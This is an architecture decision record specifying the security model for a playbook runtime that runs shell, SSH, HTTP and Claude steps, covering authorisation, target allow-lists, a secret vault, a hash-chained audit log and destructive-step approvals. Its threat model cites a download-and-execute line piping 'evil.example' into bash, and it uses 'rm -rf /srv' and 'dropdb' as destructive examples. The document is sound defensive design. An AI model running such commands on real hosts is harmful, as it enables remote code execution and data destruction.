ADR-069: Playbook security model
Status: Accepted Date: 2026-04-23 Related: ADR-068 (playbook runtime architecture), ADR-067 (playbooks unified primitive), ADR-064 (gyrum-catalog + hex architecture / SSH Executor port), ADR-053 (frontend observability), ADR-050 (bearer auth for product metrics), ADR-039 (audit hash chain), ADR-038 (audit sink), ADR-036 (CSRF double-submit cookie), ADR-026 (security defense-in-depth)
Decision (one paragraph)
We gate the playbook runtime (ADR-068) with a six-part security model:
(1) per-playbook authorisation via allowed_personas: + allowed_users:
front-matter, defaulting to persona:owner only, bound to a run record at
invoke time; (2) a target-execution allow-list where target: local
requires both allow_local_execution: true in the playbook and the
operator role on the invoker, target: host:X requires gyrum-catalog ACL
access, and target: container:X needs only an authenticated user; (3) a
secret vault with envelope encryption (file-based KMS for Phase 5,
AWS KMS / Vault / age as named upgrade paths), prompt_secret values
never logged, never streamed back after submission, and best-effort
stdout redaction by reverse-lookup; (4) an append-only playbook_audit
table recording invoker / playbook id+version / input hashes / target
/ outcome / duration, indefinite retention by default, never-mutable
even on run deletion, queryable via GET /api/v1/playbook-audit;
(5) idempotency and destructive-step guardrails — destructive: true
steps get an implicit un-skippable approval step prepended,
idempotent: is a tri-state (false default, true, with_key:),
and dry-run mode is available for all playbooks and required-before-first-real-run
for destructive ones; (6) cross-cutting blast-radius limits — per-user
concurrency cap of 3, per-playbook hourly invocation cap, and a prominently-logged
"break glass" owner override. Security decisions are enforced at parse time
(YAML validation) and at claim time (before a worker ever reaches an
executor); the StepExecutor contract (ADR-068 §3) is unchanged.
Context
ADR-068 built a playbook runtime whose step set includes shell, ssh,
claude, http, and subplaybook. Every step declares target: local | host:X | container:Y at parse time, and the runtime writes run state,
step state, and event streams into Postgres. ADR-068 §7 and §15 repeatedly
fence the security story: "production playbooks with a shell step do
not ship before ADR-069 lands". This is that landing.
The shell-execution surface is the threat. A playbook can:
- Run arbitrary bash on the ai-research host (
type: shell, target: local). - Run arbitrary bash on any host in the gyrum-catalog SSH inventory
(
type: ssh, target: host:X). - Call any HTTP endpoint with bearer tokens and the run's resolved secrets
(
type: http). - Call the Anthropic API with templated content sourced from earlier
steps' stdout (
type: claude— ADR-068 §12 already names the prompt-injection risk but defers the allow-list to here). - Invoke another playbook by id (
type: subplaybook), nesting up to 5 deep. A shallow playbook can chain into a deep destructive one.
Without a security boundary, any user with an ai-research session could
POST /api/v1/playbook-runs at a playbook id that runs rm -rf /srv
on a production host. The session cookie (ADR-036) proves they are
authenticated; it does not prove they are authorised. Today those are
the same thing. They must not remain so.
Four pressures converge:
- Ship velocity. ADR-068's Phase 5 blocks Phase 6 (migrate
runbooks/experiments to carry
runtime:). If this ADR is slow, operational flows stay on shell-scripts-on-laptops. - Scale of blast radius. A single-service playbook that worked last week is this week invokable by another user against ten services. Horizontal reach grows with catalogue size.
- Secrets proliferation.
prompt_secretassumed a vault (ADR-068 §4), but none exists. Every day without it is a day secret values live in undocumented process memory. - Audit pressure. ADR-039 mandates a hash-chained audit for security-relevant actions; the runtime does not write to it today.
The threat model is not nation-state. We are protecting against:
- Malicious playbook YAML — a teammate (or compromised account)
adds a playbook whose
run:field containscurl evil.example | bash. - Compromised user account — session-hijacked attacker POSTs a run against a production target at an unusual time.
- Curious engineer — a
dev-role developer clicks "run" on a playbook they shouldn't, triggering a side effect they didn't anticipate. - Replay / retry storms — a webhook-triggered playbook invoked by a misconfigured upstream service, 500 times in a minute.
- Ambient prompt injection — step N's stdout feeds step N+1's
type: claudeprompt, and the stdout contains instructions.
We are not protecting against: a state-level attacker with filesystem access to the host (envelope encryption is not HSM-backed); a malicious maintainer with commit + DB + runtime access (restore-from-backup territory); browser-side XSS (ADR-026 / ADR-036 territory; this ADR trusts the session cookie once validated).
ADR-068 settled architecture. This ADR settles authorisation, secret handling, audit, and blast-radius limits. Like ADR-068, this is an enforcement contract ADR: YAML fields, Go interfaces, SQL tables, HTTP endpoints. Follow-on ADRs (071, 072) sharpen where this ADR lands.
Decision
1. Summary of gating choices (committed, not re-litigated)
Six decisions are settled below. The table is the quick index.
| # | Choice | Rejected alternatives | Gated by |
|---|---|---|---|
| 1 | Per-playbook authz via allowed_personas: + allowed_users: |
Kubernetes RBAC, OPA/Casbin, no authz | §2 |
| 2 | Target-execution allow-list tied to target: + catalog ACL |
per-user OS accounts, single global toggle | §3 |
| 3 | Envelope-encrypted secret vault with pluggable KMS | plaintext-in-pg, browser-side secrets, env-var-only | §4 |
| 4 | Append-only playbook_audit table with indefinite retention |
runs-table-only, external SIEM-first | §5 |
| 5 | Implicit approval-before-destructive + tri-state idempotency + dry-run | trust-the-author, manual approvals only | §6 |
| 6 | Per-user concurrency + per-playbook rate cap + break-glass override | unbounded concurrency, rate-limit-in-front-proxy | §7 |
All six enforcements live in one package (ai-research/runtime/security/)
so the audit surface is a single directory, not scattered across
executors.
2. Authorisation model — who can invoke which playbook
2.1 Front-matter fields
The ADR-067 playbook schema grows three optional fields. Defaults are restrictive — missing fields mean "only the owner persona".
---
kind: release_flow
id: gyrum-complete-pr
title: "Release: merge + deploy a PR through the gate stack"
persona: sre
owner: "@jon"
# ADR-069 additions (all optional; defaults below)
allowed_personas: [sre, owner] # default: [owner]
allowed_users: ["@jon", "@priya"] # default: [] (owner always allowed)
denied_users: [] # default: [] (explicit deny-list, evaluated first)
---
Resolution order (fail-closed at every step):
- If invoker is in
denied_users→ reject. - If invoker is the
owner:(ADR-067 single handle) → allow. - If invoker is in
allowed_users→ allow. - If invoker's persona (from session) is in
allowed_personas→ allow. - Otherwise → reject.
The persona:owner role reuses ADR-065's persona vocabulary exactly.
Personas are resolved from the user's profile row at invoke time, not
cached from session creation — a persona demotion takes effect on the
next run, not the next login.
2.2 Per-step authz override
A destructive step inside an otherwise-approved playbook can further
narrow the set of users allowed to trigger that step. This is the
"release flow is fine for SREs, but the force-merge-main step
requires @jon specifically" case.
steps:
- id: force-merge-main
type: shell
target: local
run: "git push --force origin main"
destructive: true
allowed_users: ["@jon"] # tighter than playbook-level
# allowed_personas may NOT be loosened here — only narrowed
Rules:
- A step's
allowed_usersandallowed_personasmay only be a subset of the playbook's. Adding a user not allowed at the playbook level fails parse-time validation. This prevents the "Trojan step" attack where a narrow playbook has a wide step. - At run time, when the state machine reaches a step with narrower
authz, it checks the invoker (not the current worker). The step
is allowed only if the original invoker also passes the step's
filter. If not, the step is blocked and the run transitions to
failedwitherror: step_authz_blocked. - Per-step
denied_usersworks the same as playbook-level.
2.3 Identity binding
The invoker identity is captured once, at POST /api/v1/playbook-runs,
and bound to the run record. It is not re-derived later.
// pseudocode — ai-research/runtime/security/authz.go
// Authorise validates the session's right to invoke this playbook.
// Called from the POST /playbook-runs handler, BEFORE any row is
// inserted or queue job enqueued.
func Authorise(ctx context.Context, sess *Session, pb *Playbook) error {
inv := Invoker{
Handle: sess.GitHubHandle, // "@alice"
Persona: sess.Persona, // ADR-065 role
Roles: sess.Roles, // [operator, developer, ...]
}
// Deny-list first (fail-closed).
if slices.Contains(pb.Security.DeniedUsers, inv.Handle) {
return ErrAuthzDenied{reason: "explicit deny"}
}
// Owner bypass.
if pb.Owner == inv.Handle {
return nil
}
// User allow-list.
if slices.Contains(pb.Security.AllowedUsers, inv.Handle) {
return nil
}
// Persona allow-list.
if pb.Security.AllowedPersonas == nil {
pb.Security.AllowedPersonas = []string{"owner"} // default
}
if slices.Contains(pb.Security.AllowedPersonas, inv.Persona) {
return nil
}
return ErrAuthzDenied{reason: "no matching allow-list entry"}
}
The returned Invoker is written into playbook_runs.actor (already
present in ADR-068 §5 schema — we add actor_persona and actor_roles
columns alongside). actor is immutable for the life of the run;
cancellation and restart-recovery do not re-check authz.
2.4 Wire-level
No new endpoint. Authorisation is a middleware layer between ADR-036
session auth and ADR-068's POST /api/v1/playbook-runs:
request → CSRF double-submit (ADR-036)
→ session cookie → Session
→ Authorise(session, playbook) ← THIS ADR
→ validate inputs against playbook schema
→ insert playbook_runs row, enqueue river job
A failed Authorise() returns 403 Forbidden with a
{"error": "authz_denied", "reason": "..."} body. The reason is
enum-safe (no details that could leak the allow-list shape) — one of
explicit_deny, no_matching_allow_list, persona_not_allowed,
denied_users_hit, step_authz_blocked. Front-end renders a
user-friendly message from the enum; the raw reason is logged.
Authz denials are always written to the audit log (§5), even
though no run row is created. The audit row carries run_id: null and
outcome: authz_denied.
3. Target-execution allow-list
ADR-068 §7 established target: as parse-time-mandatory. This ADR
turns target: into the lever for "where can this thing actually run?"
3.1 target: local
The most privileged execution context. Runs bash on the ai-research host process itself. This is the context with access to the ai-research Postgres credentials, the gyrum-catalog credentials, and the environment variables of the runtime process.
Requirements for a target: local step to execute (all must hold):
- The playbook's front-matter declares
allow_local_execution: true. - The invoker has the
operatorrole (distinct frompersona: sre—operatoris an explicit grant,persona:sreis a classification). - The step is reached via normal state-machine flow — local execution
cannot be introduced by a
subplaybookchain where the parent playbook does not itself declareallow_local_execution: true. (Sub-playbooks inherit the intersection of local-execution flags; onefalseanywhere in the chain means no local step downstream.)
Absent any of these, the step fails at parse time (flag 1), at
POST /playbook-runs (flag 2), or at step-entry (flag 3). The failure
is loud — validation errors name which rule failed.
---
kind: release_flow
id: gyrum-complete-pr
allow_local_execution: true # required for any target: local step
allowed_personas: [owner] # ADR-069 §2
---
runtime:
steps:
- id: preflight-diff
type: shell
target: local
run: "git diff --stat main...HEAD"
3.2 target: host:X
Runs via the gyrum-catalog SSH Executor port (ADR-064). The host alias
X must resolve against the catalog AND the invoker must have access
to that host per the catalog's existing ACL.
Resolution at POST /playbook-runs:
// pseudocode — ai-research/runtime/security/target.go
func AuthoriseTargets(ctx context.Context, inv Invoker, pb *Playbook) error {
for _, step := range pb.Runtime.Steps {
t, err := ParseTarget(step.Target) // "host:ops-vps" → Target{Kind:Host, Alias:"ops-vps"}
if err != nil {
return err
}
switch t.Kind {
case TargetLocal:
if !pb.Security.AllowLocalExecution {
return ErrTargetBlocked{step: step.ID, reason: "local_not_enabled"}
}
if !inv.HasRole("operator") {
return ErrTargetBlocked{step: step.ID, reason: "operator_role_required"}
}
case TargetHost:
ok, err := catalog.UserCanAccess(ctx, inv.Handle, t.Alias)
if err != nil {
return err
}
if !ok {
return ErrTargetBlocked{step: step.ID, reason: "host_acl_denied"}
}
case TargetContainer:
// Authenticated user suffices; sandbox is the protection.
// Still recorded in audit (§5).
}
}
return nil
}
The catalog's UserCanAccess is the existing ACL surface — ADR-064 §
"Storage adapters" already covers per-host access. We do not
re-implement it; we delegate.
If catalog.UserCanAccess is unavailable (catalog service down),
host-target runs are blocked, not allowed (fail-closed). The
runtime returns 503 Service Unavailable with an explicit message
so an operator knows why a run they expected to work is refused.
3.3 target: container:X
The most permissive path (by design — the sandbox is what protects you). Requirements:
- The invoker is authenticated (session cookie valid).
- The image reference
Xis in a runtime-level allow-list of approved base images. Initial set: three images (busybox:1.36,alpine:3.19,ubuntu:22.04-minimal). Adding an image is an operator action recorded in audit. - The container runs with no network access by default; a step
that needs network declares
network: trueand that declaration surfaces in the audit row. A noisy playbook — one that claimscontainer:X + network: truefor every step — is a review smell.
Containers are run disposable (one container per step, destroyed on
completion), with a hard CPU/memory cap (500m / 512Mi default, tunable
per step up to 2 / 2Gi; beyond that requires operator role). No host
mounts. No privileged flag. This is docker run --rm --network none --cpus 0.5 --memory 512m --read-only territory.
The container sandbox is Phase 4 in ADR-068's plan. This ADR defines the contract so the Phase 4 executor can ship against it directly.
3.4 Target summary table
| Target | Gating | Audit marker | Phase |
|---|---|---|---|
local |
allow_local_execution: true + role:operator |
local:ai-research-host |
1-3 (allow-list) / 5 (this ADR) |
host:X |
catalog ACL allows invoker | host:X + catalog-entry-hash |
4 |
container:X |
image in allow-list + authenticated user | container:X + image-digest |
4 |
| (missing) | rejected at parse time | N/A | always |
4. Secret handling
prompt_secret (ADR-068 §4) is the primary secret-input surface. This
ADR defines where those values live, how they are encrypted, how they
are referenced, and how they are not exposed.
4.1 Never-plaintext rules
At every layer:
- Runtime memory. A secret value is held as
type Secret []bytewhich redacts itself under%v/%s/ JSON marshalling (returns"****"). The only way to read the bytes issecret.Reveal(), which is audited (call-site logged with a stack frame) and used by exactly two callers: the KMS encrypter at write time, and the executor at use time. - Postgres. The
playbook_secretstable stores ciphertext only, encrypted under envelope encryption (§4.3). The row's primary key is a vault id (vlt_01J...) that replaces the plaintext in all subsequent references. - Event stream.
awaiting_inputevents forprompt_secretcarryis_secret: trueand no default. The reply onPOST /inputis never echoed in an event. Thestep_completedevent for aprompt_secretstep containsoutputs: {secret_id: "vlt_..."}— the vault id, not the value. - Run record.
playbook_run_steps.inputsstores vault ids for any input that resolved from a secret.playbook_run_steps.outputsditto. The raw value is never written to any run-scoped row. - Frontend. Once submitted, a
prompt_secretvalue is write-only; the run detail page shows••••for the secret field, permanently. There is no "show secret" affordance. Re-viewing requires a newprompt_secretstep (or the/api/v1/secrets/{vlt_id}/revealendpoint, which requiresrole:secret-readerand writes an audit row per reveal).
4.2 Vault shape
CREATE TABLE playbook_secrets (
id text PRIMARY KEY, -- "vlt_01J..." (ULID-like, 26 chars)
ciphertext bytea NOT NULL, -- envelope-encrypted value
edk bytea NOT NULL, -- encrypted data key (envelope wrapper)
kms_key_id text NOT NULL, -- which KMS key/version encrypted the edk
created_by text NOT NULL, -- github handle
created_at timestamptz NOT NULL DEFAULT now(),
expires_at timestamptz, -- nullable; prompt_secret defaults to +30 days
canonical_hash bytea NOT NULL, -- sha256(canonicalise(plaintext)); used for §4.5 scrubbing
last_read_at timestamptz,
read_count int NOT NULL DEFAULT 0
);
CREATE INDEX ON playbook_secrets (expires_at) WHERE expires_at IS NOT NULL;
CREATE INDEX ON playbook_secrets (canonical_hash);
canonical_hash is the key to §4.5 best-effort stdout scrubbing. We
hash a canonicalised form (lowercased, whitespace-trimmed) of
the plaintext; a stdout line containing the same canonical form is
auto-redacted. The hash is one-way; it cannot reverse the secret but
it can detect "is this string the same secret?".
4.3 Envelope encryption + KMS
What we ship in Phase 5 (when this ADR first lands in code):
- File-based KMS adapter. 32-byte key at
/var/lib/ai-research/kms/kek-<version>.key, 0600 root-owned, mounted via docker-volumes.txt. Eachplaybook_secretsrow carries a random 32-byte DEK; DEK encrypts the value (AES-256-GCM), KEK encrypts the DEK (edk = AES-256-GCM(KEK, DEK)). KEK never leaves the runtime process; DEKs are ephemeral. - Rotation: add
kek-<N+1>.key, schedule a sweep that rewrites eachedkunder the new KEK. Old KEKs move toretired/for 90 days, then deleted. "Rotatable but not aggressive" — we are not defending against key exfiltration from the host filesystem.
Upgrade paths (named, not built — these are the options the next KMS ADR chooses from):
| Provider | Trade-off |
|---|---|
| AWS KMS | Managed, audited, cloud-dependent; adds an AWS credential at the runtime. Right answer if ai-research moves to AWS. |
| HashiCorp Vault | Self-hosted, mature, full secret lifecycle; is a new service to run and keep highly available. Right answer if we run multi-environment secrets at scale. |
| age (age-encrypted files) | Simplest upgrade from file-KMS — Ed25519 keys, small audited codebase. Less automatic rotation than AWS KMS / Vault. Right answer if we stay single-region and want offline-decryptable backups. |
| Stay on file-KMS indefinitely | Fine for Phase 5–6; becomes a liability if we ever onboard customer-owned secrets or multi-tenant workloads. |
The KMSProvider interface is a port (ADR-064 hex style):
type KMSProvider interface {
Encrypt(ctx context.Context, plaintext []byte) (edk, ciphertext []byte, keyID string, err error)
Decrypt(ctx context.Context, edk, ciphertext []byte, keyID string) (plaintext []byte, err error)
CurrentKeyID() string
}
File-KMS is the Phase 5 implementation; swapping to AWS KMS is a new adapter behind the same port.
4.4 Secret references in playbook YAML
A step that needs a secret references it by vault id via a templated
secrets.* namespace:
- id: deploy-to-prod
type: ssh
target: host:prod-vps
run: "curl -H 'Authorization: Bearer {{ secrets.prod_deploy_token }}' ..."
secrets:
prod_deploy_token: vlt_01J7A8X... # vault id, resolved at step-entry
The secrets: block resolves at step-entry (not parse time — the
runtime has to authenticate its Postgres call and decrypt under
KMS). The resolved plaintext is injected only into the rendered
run: string, never into inputs, outputs, or events. After
the step completes, the Secret value is zeroed in memory and the
goroutine's reference is released.
A secret can also come from a prior prompt_secret step's output:
- id: ask-key
type: prompt_secret
target: local
question: "Paste the API key."
save_as: api_key
- id: use-key
type: http
target: host:api.example.com
headers:
Authorization: "Bearer {{ secrets.api_key }}"
In this case save_as: api_key writes the vault id under
outputs.api_key.secret_id, and {{ secrets.api_key }} resolves it
via the same path.
Templating rules for secrets.*:
{{ secrets.X }}is only valid inside executor fields that go on the wire (shellrun:, sshrun:, httpheaders:/body:).- It is never valid inside
save_as:,id:,target:,when:, or any control-flow field. YAML validation rejects such uses. - It is never rendered into an event's payload. The SSE stream
shows the templated literal
{{ secrets.X }}in any debug echo, not the resolved value.
4.5 Best-effort stdout redaction
When a step completes, the runtime scans its captured stdout / stderr
lines for any canonical_hash that matches a secret used (or ever
used) within this run. Any line that matches is replaced with a
redacted form before being written to playbook_run_events:
before: "Authorization: Bearer sk-ant-abc123xyz..."
after: "Authorization: Bearer ****REDACTED:vlt_01J7A8X****"
The match is canonicalisation-based (lowercase + trim) — a line containing the exact secret, or a case-variant, or whitespace-padded variant, is caught. Tokens split across lines, base64'd, or embedded inside JSON escapes are not caught. We are honest about this: detection is best-effort, not a guarantee. A playbook whose shell step base64-encodes a secret to stdout is a bug in the playbook, not a failure of this ADR.
The redaction pass is a regex-free, hash-keyed scan. It runs before
the event lands in playbook_run_events — there is no window where
the unredacted stdout is in the database.
Metric: playbook_stdout_redactions_total{vault_id=...} increments on
every redaction. A non-zero value for a secret that should never have
leaked is a signal (a playbook is echoing a secret; investigate).
5. Audit log
5.1 Table
Append-only. Separate from playbook_runs so run deletion does not
affect audit. Schema:
CREATE TABLE playbook_audit (
id bigserial PRIMARY KEY,
ts timestamptz NOT NULL DEFAULT now(),
actor text NOT NULL, -- github handle
actor_persona text, -- ADR-065 persona at time of action
actor_roles text[] NOT NULL DEFAULT '{}',
action text NOT NULL, -- run_invoked / input_submitted / cancelled / authz_denied / break_glass / ...
playbook_kind text,
playbook_id text,
playbook_version text, -- content hash
run_id uuid, -- nullable (authz_denied has no run)
target text, -- local / host:X / container:X
outcome text NOT NULL, -- completed / failed / cancelled / authz_denied / ...
duration_ms int,
input_hashes jsonb NOT NULL DEFAULT '{}', -- {input_name: sha256(canonical_value)}; NEVER values
reason text, -- authz reason, break-glass justification, etc.
hash_prev bytea, -- ADR-039 hash chain
hash_self bytea NOT NULL -- sha256(hash_prev || canonical_row)
);
CREATE INDEX ON playbook_audit (actor, ts DESC);
CREATE INDEX ON playbook_audit (playbook_id, ts DESC);
CREATE INDEX ON playbook_audit (action, ts DESC);
CREATE INDEX ON playbook_audit (run_id) WHERE run_id IS NOT NULL;
Principles:
- Never-mutable. Rows are
INSERT-only. The runtime hasGRANT INSERT ON playbook_audit TO ai_researchand no UPDATE or DELETE grant. A migration that needs to correct an audit row does so via a compensating append (a new rowaction: audit_correctionreferencing theidto amend). There is no silent rewrite. - Survives run deletion.
playbook_runsrows can be pruned (nightly job for old cancelled runs);playbook_auditis retained indefinitely by default.run_idbecomes a dangling reference when the run row is gone — that is fine, the audit row is the record of record. - Hash-chained per ADR-039.
hash_selfissha256(hash_prev || canonical_row_encoding), wherehash_previs the previous row'shash_self. A gap or rewrite is detectable by a one-pass scan. Genesis row hashash_prev = NULL. - Input hashes, not values. We record that the run was invoked
with an
alert_idinput, and a sha256 of its canonicalised value, and nothing else. This supports "was this input value ever used?" forensics without creating a new PII surface.
5.2 What gets audited
Every one of these produces exactly one row:
| Action | When | Outcome values |
|---|---|---|
run_invoked |
POST /playbook-runs succeeds authz |
completed / failed / cancelled / running (filled at run end) |
authz_denied |
POST /playbook-runs fails §2 checks |
authz_denied |
target_denied |
POST /playbook-runs fails §3 checks |
target_denied |
input_submitted |
POST /input succeeds |
accepted / rejected (schema fail) |
cancelled |
POST /cancel |
cancelled |
step_authz_blocked |
state machine blocks a narrow step (§2.2) | step_authz_blocked |
break_glass |
owner bypass of §2 or §7 (§7.3) | completed / failed (tracked separately) |
secret_reveal |
GET /secrets/{vlt}/reveal |
granted / denied |
dry_run |
§6.3 dry-run invocation | simulated |
Events-during-a-run (stdout lines, step completions) are not in
playbook_audit — those belong in playbook_run_events (ADR-068 §5)
with 30-day retention. playbook_audit is the compliance surface;
playbook_run_events is the observability surface.
5.3 Retention
Indefinite by default. Per-deployment override via runtime config:
runtime.audit_retention_days: 0 # 0 = indefinite (default)
# positive = delete rows older than N days
# NEVER less than 90
A config value below 90 days is rejected at service start (log line + non-zero exit). "I want 7 days of audit" is a signal that the deployer has misunderstood the purpose of the table.
Pruning past the retention horizon is a daily batch that
rewrites the hash chain — the row immediately after the prune
boundary becomes the new genesis, its hash_prev becomes NULL, and a
marker row (action: retention_prune_boundary) records the event.
Chain continuity is preserved across the prune.
5.4 Query surface
GET /api/v1/playbook-audit?actor=@alice&from=2026-04-01&to=2026-04-30&playbook_id=...&action=...
Protected by a new role role:auditor. Defaults: 100 rows per page,
reverse chronological, paginated via next_token. Response rows
include the hash_self so an external system can verify chain
integrity by pulling sequential pages.
The endpoint is documented in ADR-069 because the audit surface is part of the security contract — it is not "nice to have"; it is the verifiable claim that actions were taken.
6. Idempotency and destructive-step guardrails
6.1 destructive: true on a step
Any step that performs an irreversible action — drops a database,
force-pushes to main, terminates a production instance, rotates a
credential — sets destructive: true in the step spec.
The runtime implicitly inserts an approval step immediately
before each destructive step. This insertion happens at parse time;
the in-memory step list the worker sees is longer than the YAML. The
approval cannot be skipped programmatically — there is no when:
condition on an implicit approval, no on_error: continue, no
default_to:.
# As authored:
steps:
- id: drop-old-db
type: shell
target: host:db-vps
run: "dropdb grafana_v3_old"
destructive: true
# What the runtime executes:
steps:
- id: __approval_for_drop-old-db # synthetic, generated
type: approval
target: local
question: |
About to run DESTRUCTIVE step `drop-old-db`:
type: shell
target: host:db-vps
run: "dropdb grafana_v3_old"
Proceed? This cannot be undone.
required_for: drop-old-db
- id: drop-old-db
type: shell
...
Properties:
- The approval's
questionis templated at run time with the resolvedtarget:and the renderedrun:(secrets remain{{ secrets.X }}— plaintext is not revealed even to approvers). - Approval authz inherits the destructive step's
allowed_users/allowed_personas. Four-eyes mode isself_approval: false(defaulttrue) — the approval then routes to a different user in the allow-list. - The approval is audited as
action: input_submittedwith adestructive_approvalflag — the audit query surface reports "which destructive steps were approved, by whom, when".
6.2 idempotent: tri-state
Playbooks declare their idempotency contract in front-matter:
idempotent: false # default — no replay; a duplicate POST is a new run
idempotent: true # safe to replay; duplicate POST within window returns existing run_id
idempotent: with_key: <input_name> # replay-safe only when <input_name> is the same
falseis the safe default. "Running this twice does something twice." The ADR-068 §6idempotency_keystill works for retry-dedupe within 5 minutes, but the playbook author is asserting that beyond that window, duplicate invocations have real consequences.truemeans the author asserts the playbook has no side effects that depend on invocation count. A read-only audit playbook isidempotent: true.with_key: <input_name>is the most common "it's idempotent per subject" case — "deploy version X to host Y" is idempotent per (X, Y). The key is resolved at invoke time; a matching prior run (any state exceptfailed) returns itsrun_id.
Destructive-only rule. A playbook that contains ANY step with
destructive: true is required to declare either idempotent: false
or idempotent: with_key: (not true). A destructive playbook that
claims true fails parse-time validation; we do not believe the
claim.
For with_key: destructive playbooks, the replay check is strict:
if a run with the same key is currently in any non-terminal state
(running, awaiting_input), the new POST fails with
409 Conflict, reason: prior_run_active. The operator must wait or
cancel. This prevents concurrent destructive replays.
6.3 Dry-run mode
Every playbook can be invoked with ?dry_run=true:
POST /api/v1/playbook-runs?dry_run=true
The runtime walks the playbook, resolves the step graph, checks
authz, checks target allow-lists, resolves when: conditions against
provided inputs, and emits the SSE events it would emit — with
every executor replaced by a DryRunExecutor that returns a
"would-have-run" placeholder. No side effects. No shell. No SSH. No
HTTP. No claude call. No secret vault read.
The dry-run emits a final run_completed event with a decision_tree
field:
{
"decision_tree": [
{"step_id": "preflight-diff", "would_run": true, "target": "local"},
{"step_id": "__approval_for_drop-old-db", "would_run": true, "type": "approval"},
{"step_id": "drop-old-db", "would_run": "conditional_on_approval", "target": "host:db-vps"}
]
}
Dry-run is available for every playbook. It is required
before the first real run of any destructive playbook — the runtime
refuses to execute a destructive playbook whose
(playbook_id, playbook_version) pair has no prior successful
dry-run in playbook_audit within the last 24 hours. After that,
real runs are allowed; a fresh dry-run is required again on any
playbook-version bump.
Metric: playbook_dry_run_total{playbook_id, result} — tracks
whether dry-runs are being used or bypassed via break-glass.
7. Cross-cutting: rate limiting and blast radius
7.1 Per-user concurrency cap
Default: 3 concurrent runs per user. Enforced by
playbook_runs count query at POST /playbook-runs:
SELECT count(*) FROM playbook_runs
WHERE actor = $1
AND state IN ('pending', 'running', 'awaiting_input');
If ≥ 3, the POST returns 429 Too Many Requests with
Retry-After: <seconds> based on the oldest run's expected remaining
wall-clock. Awaiting-input runs count — a user who kicks off three
prompt-heavy playbooks and walks away cannot add a fourth until one
is answered or cancelled.
Per-user override via role:operator bumps the cap to 10. The owner
can bypass via break-glass (§7.3).
Metric: playbook_user_concurrency_limit_hits_total{actor} — a
frequently-hit limit for a single user is either operator-frustration
or a runaway agent; either way, worth a look.
7.2 Per-playbook rate cap
Front-matter declares a rate cap. Defaults are unbounded for non-destructive, bounded for destructive:
rate_limit:
window: 1h
max_invocations: 5 # required for destructive: playbooks
scope: global # global | per_user | per_host
Scopes:
global— across all users, across all invocations.per_user— each user gets their own quota.per_host— for host-target playbooks, each distinct resolvedtarget: host:Xgets its own quota. "No more than 2restart-grafanaper host per hour" isper_host.
Rate checks happen at POST /playbook-runs, before authz (actually:
authz first — we don't want the rate-limit signal to reveal which
playbooks exist; authz_denied is always returned first). Violations
return 429 with a Retry-After header pointing to the window edge.
Destructive playbooks without a rate_limit: block fail parse-time
validation — the author must choose a number, even if it's
deliberately high. "Five destroys per hour" is a safer floor than
"unlimited".
7.3 Break-glass override
The owner (ADR-067 single-handle field) can bypass any authz rule, any target-allow-list rule, any concurrency cap, any rate cap, and skip the destructive dry-run requirement — via a break-glass annotation on the invocation:
POST /api/v1/playbook-runs
{
"playbook": "release_flow:gyrum-complete-pr",
"inputs": {...},
"break_glass": {
"reason": "Production outage, standard authz blocks @jon from...",
"acknowledge_audit": true
}
}
Requirements:
- Invoker is the playbook's
owner:. Notpersona:owner. The exact handle. reasonis required, non-empty, minimum 20 characters.acknowledge_audit: trueis required (a client that cannot send this flag cannot trigger a break-glass; this is an explicit "I know this is extraordinary" check).
Break-glass invocations are:
- Written to
playbook_auditwithaction: break_glass, thereasonfield in the row, and ahash_selfthat locks the justification into the tamper-evident chain. - Announced via a prominent log line
(
slog.Warn("BREAK_GLASS invoked", "actor", ..., "playbook", ...)) and a dedicated metric (playbook_break_glass_total) that feeds a high-priority alert (any non-zero count in a 24h window → Slack). - Rate-limited themselves — max 5 break-glass invocations per
owner per 24h. A sixth returns
429with no override.
Break-glass is the escape valve that makes the rest of this ADR tolerable. Without it, every production incident becomes a decision between "violate policy" and "let the site burn". We prefer "document the exception and learn from it".
8. Threat model (brief)
Defended against (with the control that addresses each):
| Threat | Control |
|---|---|
| Malicious playbook YAML | Parse-time validation (§2-§6); PR review; dry-run-before-first-run (§6.3) |
| Compromised user account | Per-user concurrency + per-playbook rate cap (§7); break-glass log + alert (§7.3); authz_denied audit (§5) |
| Curious engineer | Default-restrictive authz persona:owner only (§2.1); allow_local_execution: false default (§3.1) |
| Replay / retry storms | idempotency_key 5-min window (ADR-068 §6); idempotent: tri-state + with_key: active-run detection (§6.2); per-user concurrency cap (§7.1) |
| Ambient prompt injection | §4.5 canonical-hash stdout scrubbing; ADR-068 §12 <untrusted> delimiter; authz applies to type: claude same as any step |
Not defended against: state-level attackers with host filesystem access; malicious maintainers with commit + DB + runtime access; insider abuse with valid credentials AND valid authz (audited, not prevented); side-channel leaks from correctly-redacted stdout (timing, cache, fs metadata).
9. Consequences
Harder.
- KMS operational burden. A key file, a rotation policy, a backup story (the key is now part of the disaster-recovery plan — backups that include the DB without the key are unrecoverable). Fenced in the deployment runbook.
- Audit retention. Indefinite retention means
playbook_auditgrows forever. Healthy usage (10 runs/day) writes ~50k rows/year; not a disk-space concern, a query-planning concern revisited at ~5M rows. - Rate-limit tuning. The defaults in §7 are guesses. We discover
the right per-playbook rates by hitting them;
*_limit_hits_totalmetrics are the feedback loop. - Approval-step fatigue. Every destructive step grows an implicit approval. Frequently-run destructive flows generate approval pressure; mitigation is to split or re-shape the playbook.
- Break-glass temptation. If too easy, it becomes the path of least resistance. The 20-char reason + 5-per-24h cap are friction on purpose.
- Four-eyes friction. In a two-person team,
self_approval: falsecan deadlock. It is opt-in per playbook; default istrue. - Stdout scrubbing is not a guarantee. Authors can still leak via creative encodings (base64, gzip, split-line). We detect via metric and review; we do not promise zero-leak.
Easier.
- One auth story across every operational action. A Claude agent
and a human both POST to
/playbook-runs; the sameAuthorise()runs for both. The audit log does not care which. - Catalog-backed host ACL reuse.
target: host:Xdelegates to ADR-064's ACL — one place to grant / revoke host access. - Secrets have a home.
prompt_secretwas an IOU in ADR-068; now it's a table, a KMS port, and a set of rules. - Audit is queryable. Security reviews that would have required
grep-across-logs now have
GET /api/v1/playbook-audit?actor=@...with hash-verified integrity. - Destructive safety is structural, not cultural. The implicit approval is in the YAML parser; it cannot be forgotten.
- Break-glass is a feature, not a bypass. A sanctioned, audited override means the unsanctioned override (ssh-to-console, a hand-written SQL DELETE) becomes unnecessary.
What we sign up to maintain.
- The
KMSProviderinterface. Adding an adapter is additive; breaking the interface churns every existing secret row. Budget once-per-year, planned. - The audit hash chain. Every action class that writes an audit row must be reviewed against ADR-039's hash discipline.
- The allow-list of container images in §3.3. Stale images are a vuln surface; we re-review every 90 days.
